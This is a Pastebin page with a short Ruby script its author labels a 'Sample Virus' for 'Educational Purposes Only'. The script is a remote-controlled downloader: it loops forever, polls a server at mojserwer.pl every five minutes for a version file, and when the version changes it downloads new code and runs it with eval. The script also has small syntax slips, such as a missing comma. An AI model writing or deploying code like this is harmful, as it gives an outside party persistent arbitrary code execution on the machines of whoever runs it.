Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #**Sample Virus by Narzew
- #**Educational Purposes Only!!!
- #**I am do not responsible for anything you do with this!
- #**Use at your own risk!
- require 'open-uri'
- $versionurl = "http://mojserwer.pl/virus/version.html"
- $codeurl = "http://mojserwer.pl/virus/code.html"
- $sleeptime = 5
- $download = lambda{|x|open(x){|f|return f.read}
- $fdownload = lambda{|x,y|open(x){|f|File.open(y,'wb'){|w|w.write(f.read)}}
- loop do
- $old_ver = lambda{File.open('version1.dll'){|f|return f.read} rescue return 0}.call
- $fdownload.call($versionurl, 'version.dll')
- File.open('version.dll'){|f|$ver=f.read}
- if $ver == $old_ver
- lambda{}.call
- else
- $fdownload.call($codeurl 'main.dll')
- eval(File.open('main.dll'){|f|return f.read}) rescue lambda{}.call
- File.open('version1.dll','wb'){|f|f.write($ver)}
- end
- sleep 60*$sleeptime
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement